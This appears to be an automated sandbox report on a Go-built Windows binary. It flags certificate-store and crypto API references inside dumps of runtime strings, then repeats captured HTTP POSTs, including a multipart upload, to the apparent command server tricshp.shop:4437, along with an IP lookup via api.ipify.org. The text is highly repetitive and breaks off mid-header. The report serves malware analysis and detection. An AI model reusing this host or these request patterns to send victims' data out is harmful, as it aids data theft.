pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mS" (Indicator: "CertVerifyCertificateChainPolicy"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "3125OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmwakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at: not pointer != sweepgen MB globals work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbyname3814697265625GetTempPath2WModule32NextWRtlGetVersioncrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeRegDeleteKeyWRegEnumValueWGetP" (Indicator: "CertOpenStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #1907348632812595367431640625unexpected EOFunsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWunreachable: crypto/fips140mime/multipartx509sha256skidRegSetValueExWGetProcessTimesDuplicateHandlecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min" (Indicator: "CertCloseStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #1907348632812595367431640625unexpected EOFunsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWunreachable: crypto/fips140mime/multipartx509sha256skidRegSetValueExWGetProcessTimesDuplicateHandlecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min" (Indicator: "CryptGenRandom"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessId14901161193847656257450580596923828125reflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersfile already existsfile does not existfile already closedfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: totalAlloc=runtime:" (Indicator: "CryptReleaseContext"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllhttplaxcontentlengthx509usefallbackrootsreflect.Value.Complexnegative shift amountdataindependenttimingsystem goroutine wait/gc/heap/allocs:bytesruntime: work.nwait= previous allocCount=, levelBits[level] = runtime: searchIdx = profiler hash bucketsruntime: mappedReady=runtime: totalMapped=defer on system stackpanic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: r" (Indicator: "CertOpenSystemStoreW"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrs37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllhttplaxcontentlengthx509usefallbackrootsreflect.Value.Complexnegative shift amountdataindependenttimingsystem goroutine wait/gc/heap/allocs:bytesruntime: work.nwait= previous allocCount=, levelBits[level] = runtime: searchIdx = profiler hash bucketsruntime: mappedReady=runtime: totalMapped=defer on system stackpanic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: r" (Indicator: "CryptAcquireContextW"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "rain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW23283064365386962890625reflect.Value.Interfacereflect.Value.NumMethod" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: invalid argument to Intntracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: upd" (Indicator: "CertGetCertificateChain"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStore363797880709171295166015625reflect.Value.UnsafePointerabi.NewName: tag too long: httpservecontentkeepheadersGetFil" (Indicator: "CertEnumCertificatesInStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "InformationByHandleExGC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignalruntime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largefile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext18189894035458564758300781259094947017729282379150390625abi.NewName: name too long: sync.WaitGroup.Wait (durable)executing on Go runtime stacknotesleep - waitm ou" (Indicator: "CertCreateCertificateContext"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbyname3814697265625GetTempPath2WModule32NextWRtlGetVersioncrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeRegDeleteKeyWRegEnumValueWGetProcAddressComputerNameExuserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertOpenStore"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") Found api reference "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #1907348632812595367431640625unexpected EOFunsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWunreachable: crypto/fips140mime/multipartx509sha256skidRegSetValueExWGetProcessTimesDuplicateHandlecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]" (Indicator: "CertCloseStore"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") Found api reference "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #1907348632812595367431640625unexpected EOFunsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWunreachable: crypto/fips140mime/multipartx509sha256skidRegSetValueExWGetProcessTimesDuplicateHandlecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]" (Indicator: "CryptGenRandom"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp")41:T87ff,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: tricshp.shop:4437" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: tricshp.shop:4437" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: tricshp.shop:4437" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwowUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 880Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwowUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 880Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwowUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 880Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwowUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 880Host: tricshp.shop:4437" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwowUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 880Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwowUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 880Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwowUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 880Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwowUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 880Host: tricshp.shop:4437" Contains base64 string in header "text" in header "GET /?format=text HTTP/1.1Connection: Keep-AliveUser-Agent: Public IP Getter/1.0Host: api.ipify.org" Contains base64 string in header "Keep" in header "GET /?format=text HTTP/1.1Connection: Keep-AliveUser-Agent: Public IP Getter/1.0Host: api.ipify.org" Contains base64 string in header "Getter/1" in header "GET /?format=text HTTP/1.1Connection: Keep-AliveUser-Agent: Public IP Getter/1.0Host: api.ipify.org" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: tricshp.shop:4437" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: tricshp.shop:4437" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: tricshp.shop:4437" Contains base64 string in header "shop" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: tricshp.shop:4437" Contains base64 string in header "4437" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: tricshp.shop:4437" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: tricshp.shop:4437" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: tricshp.shop:4437" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: tricshp.shop:4437" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: tricshp.shop:4437" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: 